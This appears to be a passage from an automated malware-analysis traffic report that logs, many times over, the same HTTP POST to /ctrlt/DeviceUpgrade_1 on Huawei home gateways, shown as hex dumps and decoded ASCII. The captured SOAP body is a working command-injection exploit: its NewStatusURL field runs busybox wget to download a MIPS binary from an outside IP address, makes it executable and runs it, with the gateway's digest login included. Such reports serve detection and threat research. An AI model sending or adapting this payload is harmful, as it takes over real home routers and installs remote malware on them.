65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 